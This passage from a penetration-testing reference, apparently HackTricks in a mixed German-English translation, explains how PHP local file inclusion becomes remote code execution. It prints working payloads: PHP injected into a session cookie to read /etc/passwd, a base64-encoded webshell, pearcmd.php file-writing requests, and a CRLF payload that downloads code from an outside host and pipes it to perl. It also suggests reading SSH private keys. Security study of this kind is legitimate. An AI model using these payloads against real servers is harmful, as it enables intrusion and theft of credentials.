Überprüfe, ob die Website PHP sessions (PHPSESSID) verwendet.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP werden diese sessions in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Setze das Cookie auf <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Verwende das LFI, um die PHP session file einzubinden.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Über ssh

Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf <HOME>/.ssh/id_rsa zuzugreifen.

Über vsftpd logs

Die Logs des FTP-Servers vsftpd befinden sich unter /var/log/vsftpd.log. In dem Szenario, in dem eine Local File Inclusion (LFI) Schwachstelle besteht und Zugang zu einem exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:

  1. Injiziere eine PHP-Payload in das username-Feld während des Login-Vorgangs.
  2. Nach der Injection nutze die LFI, um die Server-Logs aus /var/log/vsftpd.log auszulesen.

Über php base64 filter (mit base64)

Wie in this article gezeigt, ignoriert der PHP base64 filter einfach Non-base64. Du kannst das verwenden, um die Dateiendungsprüfung zu umgehen: Wenn du base64 lieferst, das mit “.php” endet, würde er den “.” einfach ignorieren und “php” an das base64 anhängen. Hier ist ein Beispiel-Payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup erklärt, dass man php filters verwenden kann, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass man beliebigen php-Code erzeugen kann für das include ohne ihn in eine Datei schreiben zu müssen.

LFI2RCE via PHP Filters

Via segmentation fault

Upload eine Datei, die als temporär in /tmp gespeichert wird, dann im gleichen Request einen segmentation fault auslösen, und danach wird die temporäre Datei nicht gelöscht und du kannst danach suchen.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Wenn du eine Local File Inclusion gefunden hast und Nginx vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Wenn du eine Local File Inclusion gefunden hast, selbst wenn du keine Session hast und session.auto_start auf Off steht. Wenn du PHP_SESSION_UPLOAD_PROGRESS in multipart POST-Daten angibst, wird PHP die Session für dich aktivieren. Das lässt sich missbrauchen, um RCE zu bekommen:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Wenn du eine Local File Inclusion gefunden hast und der Server unter Windows läuft, könntest du RCE erlangen:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, das Script /usr/local/lib/phppearcmd.php existiert standardmäßig in php docker images. Zudem ist es möglich, Argumente über die URL an das Script zu übergeben, da angegeben ist, dass ein URL-Parameter ohne = als Argument verwendet werden soll. Siehe auch watchTowr’s write-up und Orange Tsai’s “Confusion Attacks”.

Die folgende Anfrage erstellt eine Datei in /tmp/hello.php mit dem Inhalt <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Das Folgende missbraucht eine CRLF vuln, um RCE zu erlangen (aus here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Über phpinfo() (file_uploads = on)

Wenn du eine Local File Inclusion und eine Datei gefunden hast, die phpinfo() mit file_uploads = on anzeigt, kannst du RCE erlangen:

LFI2RCE via phpinfo()

Über compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Wenn du eine Local File Inclusion gefunden hast und du can exfiltrate the path der temporären Datei erlangen kannst, ABER der server überprüft, ob die file to be included has PHP marks, kannst du versuchen, diese Prüfung mit dieser Race Condition zu umgehen:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Über eternal waiting + bruteforce

Wenn du das LFI missbrauchen kannst, um temporäre Dateien hochzuladen und die PHP-Ausführung auf dem Server zum hang zu bringen, könntest du anschließend über Stunden Dateinamen per bruteforce erraten, um die temporäre Datei zu finden:

LFI2RCE via Eternal waiting

Zu einem Fatal Error

Wenn du eine der Dateien /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar includierst. (Du musst dieselbe Datei zweimal inkludieren, um diesen Fehler auszulösen).

Ich weiß nicht, wie nützlich das ist, aber möglicherweise ist es das.
Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Temporärdateien gelöscht.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks